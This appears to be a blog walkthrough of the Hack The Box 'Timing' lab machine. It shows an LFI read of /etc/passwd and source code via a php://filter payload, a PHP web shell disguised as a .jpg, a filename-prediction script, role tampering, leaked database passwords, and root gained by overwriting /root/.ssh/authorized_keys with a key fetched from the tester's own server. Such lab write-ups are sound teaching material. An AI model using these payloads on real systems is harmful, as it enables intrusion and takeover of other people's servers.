Hackthebox Timing writeup
Introduction@Timing:~$
Column | Details |
---|---|
Name | Timing |
IP | 10.10.11.135 |
Points | 30 |
Os | Linux |
Difficulty | Medium |
Creator | irogir |
Out On | 11 Dec 2021 |
Brief@Timing :~$
Hackthebox release new machine called timing
, in this machine we need to first find LFI with some fuzzing
through LFI we need to dump the sorce code of file and get useful information
and get the admin panel through admin panel we will upload imges abusing that function to get RFI
and dump the git directory to find old password and get ssh session
after that abuse the netutils to overwrite the authorized_keys
.
Recon
Nmap
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ nmap -sC -sV -oA nmap/result 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-21 23:05 CST
Nmap scan report for 10.10.11.135
Host is up (0.091s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
There are two ports open 22:ssh,80:http
Port-80
It’s a simple
login page.
Trying default username
password but nothing
work.
Let’s run gobuster
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ gobuster dir -u http://10.10.11.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.135/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/21 23:22:09 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/login.php (Status: 200) [Size: 5609]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
All pages redirect to login.php
except /image
and image.php
.
Let’s first go to /images
Forbidden! let’s check image.php
And we see image.php
don’t give any error or redirect
. i think this page accept some get or post parameter
because when we upload any php
shell through images it’s also need parameter
and if we don’t pass any they give us blank
page like this.
Let’s find the parameter with wfuzz
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ wfuzz -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.135/image.php?FUZZ=/etc/passwd
Total requests: 2588
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000360: 200 0 L 3 W 25 Ch "img"
Total time: 8.155825
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 317.3192
Found the parameter
let’s check if it has LFI
or not.
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $curl http://10.10.11.135/image.php?img=/etc/passwd | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 25 100 25 0 0 137 0 --:--:-- --:--:-- --:--:-- 137
Hacking attempt detected!
┌─[puck@parrot-lt]─[~/htb/timing]
And it’s said hacking attempt detected!
Let’s use php base64
filter to check if it’s still the same scenario
.
http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd
And it’s works!
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $curl http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 1614 100 1614 0 0 8819 0 --:--:-- --:--:-- --:--:-- 8819
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:
x:4:65534:sync:/bin:/bin/sync
--snip--
pollinate:x:109:1::/var/cache/pollinate:/bin/
false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:114:MySQL
Server,,,:/nonexistent:/bin/false aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $
Got aaron user inside /etc/passwd
file.
Let’s check the login.php
file with LFI.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2764 100 2764 0 0 15885 0 --:--:-- --:--:-- --:--:-- 15885
<?php
include "header.php";
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
<?php
if (isset($errorMessage)) {
?>
<div class="container-fluid">
<div class="row">
<div class="col-md-10 col-md-offset-1">
<div class="alert alert-danger alert-dismissible fade in text-center" role="alert"><strong>
<?php echo $errorMessage; ?>
</div>
</div>
</div>
</div>
<?php
}
?>
<link rel="stylesheet" href="./css/login.css">
<div class="wrapper fadeInDown">
<div id="formContent">
<div class="fadeIn first" style="padding: 20px">
<img src="./images/user-icon.png" width="100" height="100"/>
</div>
<form action="?login=true" method="POST">
<input type="text" id="login" class="fadeIn second" name="user" placeholder="login">
<input type="text" id="password" class="fadeIn third" name="password" placeholder="password">
<input type="submit" class="fadeIn fourth" value="Log In">
</form>
<!-- todo -->
<div id="formFooter">
<a class="underlineHover" href="#">Forgot Password?</a>
</div>
</div>
</div>
<?php
include "footer.php";
If you look at the login.php
file it’s include db file called db_conn.php
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 124 100 124 0 0 720 0 --:--:-- --:--:-- --:--:-- 720
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Got the database
password but i try this on login
page and ssh through aaron
but nothing work.
Let’s check the upload.php
file which we found in gobuster
result.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1360 100 1360 0 0 8095 0 --:--:-- --:--:-- --:--:-- 8095
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Before uploading it’s checking on admin_auth_check.php
let’s check that file first
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 268 100 268 0 0 1558 0 --:--:-- --:--:-- --:--:-- 1549
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
It’s checking
that if our session role id
is equal to 1 or not if not it’s redirect
to index.php.
But the question
is what’s the username and password
of login page? after some time i try username aaron
and password is also aaron and it’s work
.
And it’s said user 2
but we need our role id = 1
for that we need to find
a way let’s check the edit profile
tab.
Let’s check the source code of profile.php
with that LFI
.
it’s submit the form
with help of js
.
It’s sending
the form data to profile_update.php
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=js/profile.js | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 852 100 852 0 0 5011 0 --:--:-- --:--:-- --:--:-- 5041
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
Let’s check the profile_update.php
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2320 100 2320 0 0 12888 0 --:--:-- --:--:-- --:--:-- 12888
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
And we see if we specify role=1
in the profile update
form. it’s set the session role id=1
.
Now let’s submit
the form and intercept
the req in burp.
Add the &role=1
in last and send
the req.Now go to the home
page or reload
the page.
And we see a new link
appear Admin Panel
let’s go to that page.
And we see we can upload
avatar image now let’s check the source code of upload.php
page.
And we see the process of uploading
file
1. it’s check if it is jpg
or not
2. it’s create a file name with md5
hash
3. inside md5 function
it’s using $file_hash which interpreted
as string because it’s using single
cot rather than double cot you can read
about that more in article
4. but the time function is return dynamic
value
5. and then the file_name
Link
: What is the difference between single-quoted and double-quoted strings in PHP?
Now to get the name
of the file i create a python
script to get that.
Exploit.py
import time
import hashlib
while True:
print(f"hash = {hashlib.md5('$file_hash'.encode()+str(int(time.time())).encode()).hexdigest()}")
time.sleep(1)
Now let’s create a jpg
file which has php code inside
that.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[/home/dedsec/Downloads/www]
└──╼ [★]$ cat dedsec.jpg
<?php system($_GET[dedsec]);?>
Before uploading
the file start the python
script first.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ python3 exploit.py
Now upload
the file.
Now check every single
hash which generated by python
script and try to send the req
with that hash with curl
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/11c9776e30e9f474734c1aab85f1102a_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/8303d2315176ef5e4f8d27db11525ee2_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/dc1c96720db5b676ce16744ded6b6482_dedsec.jpg&dedsec=id'
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And we got the RCE
But the problem
is we can’t get the rev shell
back because of ip table
rules.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=ls'
admin_auth_check.php
auth_check.php
avatar_uploader.php
css
db_conn.php
footer.php
header.php
image.php
images
index.php
js
login.php
logout.php
profile.php
profile_update.php
upload.php
After some enumeration
i find a zip file called source-files-backup.zip
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=ls+-al+/opt/'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 01:34 ..
-rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip
I copy that zip file in /var/www/html
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing]
└──╼ [★]$ curl 'http://10.10.11.135/image.php?img=images/uploads/b4a4cc1422fd48eb3ea2a4b14e9086e4_dedsec.jpg&dedsec=cp+/opt/source-files-backup.zip+/var/www/html/'
Now download
that zip file.
Let’s unzip
the file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ ls -al
total 616
drwxr-xr-x 1 root root 46 Dec 22 01:08 .
drwxr-xr-x 1 root root 54 Dec 22 01:08 ..
-rw-r--r-- 1 dedsec dedsec 627851 Dec 22 01:07 source-files-backup.zip
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ unzip source-files-backup.zip
And we see there .git
directory let’s dump all commits
in the background.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ ls -al backup/
total 52
drwxr-xr-x 1 root root 350 Jul 20 17:34 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
-rw-r--r-- 1 root root 200 Jul 20 17:34 admin_auth_check.php
-rw-r--r-- 1 root root 373 Jul 20 17:34 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 20 17:34 avatar_uploader.php
drwxr-xr-x 1 root root 52 Jul 20 17:34 css
-rw-r--r-- 1 root root 92 Jul 20 17:34 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 20 17:34 footer.php
drwxr-xr-x 1 root root 144 Jul 20 17:35 .git
-rw-r--r-- 1 root root 1498 Jul 20 17:34 header.php
-rw-r--r-- 1 root root 507 Jul 20 17:34 image.php
drwxr-xr-x 1 root root 68 Jul 20 17:34 images
-rw-r--r-- 1 root root 188 Jul 20 17:34 index.php
drwxr-xr-x 1 root root 114 Jul 20 17:34 js
-rw-r--r-- 1 root root 2074 Jul 20 17:34 login.php
-rw-r--r-- 1 root root 113 Jul 20 17:34 logout.php
-rw-r--r-- 1 root root 3041 Jul 20 17:34 profile.php
-rw-r--r-- 1 root root 1740 Jul 20 17:34 profile_update.php
-rw-r--r-- 1 root root 984 Jul 20 17:34 upload.php
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www]
└──╼ [★]$ /opt/GitTools/Extractor/extractor.sh backup/ git_dump/
And there is db_conn.php
file which has same password
which we found in LFI
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/backup]
└──╼ [★]$ ls -al
total 52
drwxr-xr-x 1 root root 350 Jul 20 17:34 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
-rw-r--r-- 1 root root 200 Jul 20 17:34 admin_auth_check.php
-rw-r--r-- 1 root root 373 Jul 20 17:34 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 20 17:34 avatar_uploader.php
drwxr-xr-x 1 root root 52 Jul 20 17:34 css
-rw-r--r-- 1 root root 92 Jul 20 17:34 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 20 17:34 footer.php
drwxr-xr-x 1 root root 144 Jul 20 17:35 .git
-rw-r--r-- 1 root root 1498 Jul 20 17:34 header.php
-rw-r--r-- 1 root root 507 Jul 20 17:34 image.php
drwxr-xr-x 1 root root 68 Jul 20 17:34 images
-rw-r--r-- 1 root root 188 Jul 20 17:34 index.php
drwxr-xr-x 1 root root 114 Jul 20 17:34 js
-rw-r--r-- 1 root root 2074 Jul 20 17:34 login.php
-rw-r--r-- 1 root root 113 Jul 20 17:34 logout.php
-rw-r--r-- 1 root root 3041 Jul 20 17:34 profile.php
-rw-r--r-- 1 root root 1740 Jul 20 17:34 profile_update.php
-rw-r--r-- 1 root root 984 Jul 20 17:34 upload.php
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/backup]
└──╼ [★]$ cat db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Let’s check the git commits
which we dump in the background
.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ ls -al
total 0
drwxr-xr-x 1 root root 168 Dec 22 01:12 .
drwxr-xr-x 1 root root 74 Dec 22 01:12 ..
drwxr-xr-x 1 root root 372 Dec 22 01:12 0-16de2698b5b122c93461298eab730d00273bd83e
drwxr-xr-x 1 root root 372 Dec 22 01:12 1-e4e214696159a25c69812571c8214d2bf8736a3f
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ cat 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php && cat 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
And we got the different
password let’s try this password with ssh
.
And we got the user.txt
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/Desktop/HTB/Timing/www/git_dump]
└──╼ [★]$ ssh aaron@10.10.11.135
The authenticity of host '10.10.11.135 (10.10.11.135)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.135' (ECDSA) to the list of known hosts.
aaron@10.10.11.135's password: S3cr3t_unGu3ss4bl3_p422w0Rd
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 22 07:15:18 UTC 2021
System load: 0.0 Processes: 169
Usage of /: 48.9% of 4.85GB Users logged in: 0
Memory usage: 11% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
aaron@timing:~$ cat user.txt
202727f3cc3d17a1a6f04f8d9df2e333
Privilege escalation
Before running linPEAS
let’s check manually.
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
And we see we can execute
netutils with root permission
let’s check the content inside netutils
.
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
aaron@timing:~$
It is running netutils.jar
which is inside root
folder so we can’t view that.
And we see it’s get the file
and place it on aaron
home folder with root
permission.
So i create a symlink of /root/.ssh/authorized_keys
with keys so when we get the file
with same name it’s overwrite
the content of authorized_keys
.
aaron@timing:~$ ln -s /root/.ssh/authorized_keys keys
aaron@timing:~$ ls -al
total 36
drwxr-x--x 5 aaron aaron 4096 Dec 22 08:03 .
drwxr-xr-x 3 root root 4096 Dec 2 09:55 ..
lrwxrwxrwx 1 root root 9 Oct 5 15:33 .bash_history -> /dev/null
-rw-r--r-- 1 aaron aaron 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 .bashrc
drwx------ 2 aaron aaron 4096 Nov 29 01:34 .cache
drwx------ 3 aaron aaron 4096 Nov 29 01:34 .gnupg
lrwxrwxrwx 1 aaron aaron 26 Dec 22 08:03 keys -> /root/.ssh/authorized_keys
drwxrwxr-x 3 aaron aaron 4096 Nov 29 01:34 .local
-rw-r--r-- 1 aaron aaron 807 Apr 4 2018 .profile
-rw-r----- 1 root aaron 33 Dec 22 08:01 user.txt
lrwxrwxrwx 1 root root 9 Oct 5 15:33 .viminfo -> /dev/null
aaron@timing:~$
Now in parrot
machine create a ssh key
and rename or copy the id_rsa.pub
to keys.
then
aaron@timing:~$ sudo /usr/bin/netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 1 Enter Url: http://10.10.14.8/keys Initializing download: http://10.10.14.8/keys File size: 568 bytes Opening output file keys Server unsupported, starting from scratch with one connection. Starting download Downloaded 568 byte in 0 seconds. (2.77 KB/s) netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 2 aaron@timing:~$
And open simple http server
.
┌─[puck@parrot-lt]─[~/htb/timing]
└──╼ $sudo python3 -m http.server 80
[sudo] password for puck:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
HTTP/1.0" 200 -
10.10.11.135 - - [16/Jun/2022 08:50:27] "GET /keys HTTP/1.0" 200 -
10.10.11.135 - - [16/Jun/2022 08:50:27] "GET /keys HTTP/1.0" 200 -
Now enter the url
and get the file after getting the file
you see new file is not created
it means it’s overwrite the authorized_keys
.
Now let’s login with our id_rsa
and get the root.txt
file.
┌───[us-free-1]─[10.10.14.116]─[root@parrot]─[~/.ssh]
└──╼ [★]$ ssh -i id_rsa root@10.10.11.135
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 22 08:06:31 UTC 2021
System load: 0.1 Processes: 203
Usage of /: 48.7% of 4.85GB Users logged in: 1
Memory usage: 10% IP address for eth0: 10.10.11.135
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 7 12:08:29 2021
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
root@timing:~# cat root.txt
4a2e253435e9918b37745bf27f4e6183
And we pwned it …….
root@timing:~# cat /etc/iptables/rules.v4
# Generated by iptables-save v1.6.1 on Tue Oct 5 15:25:56 2021
*filter
:INPUT ACCEPT [31:2080]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:chk_apache_user - [0:0]
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m owner --uid-owner 33 -j chk_apache_user
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
-A chk_apache_user -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Tue Oct 5 15:25:56 2021
root@timing:~#
root@timing:~# cat /etc/iptables/rules.v6
# Generated by ip6tables-save v1.6.1 on Tue Oct 5 15:25:56 2021
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [24:1536]
COMMIT
# Completed on Tue Oct 5 15:25:56 2021
root@timing:~#
root@timing:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
--snip--
#
# m h dom mon dow command
*/5 * * * * /usr/bin/find /var/www/html/images/uploads -iname '*.zip' -mmin +3 -exec /bin/rm -f {} +
root@timing:~#
If u liked the writeup.Support a Student to Get the OSCP-Cert
Donation for OSCP
Topic | Url |
---|---|
What is the difference between single-quoted and double-quoted strings in PHP? | https://www.geeksforgeeks.org/what-is-the-difference-between-single-quoted-and-double-quoted-strings-in-php/#:~:text=Double%2Dquoted%20strings%3A%20By%20using,variables%20directly%20within%20the%20string.&text=Each%20variable%20will%20be%20replaced%20by%20its%20value. |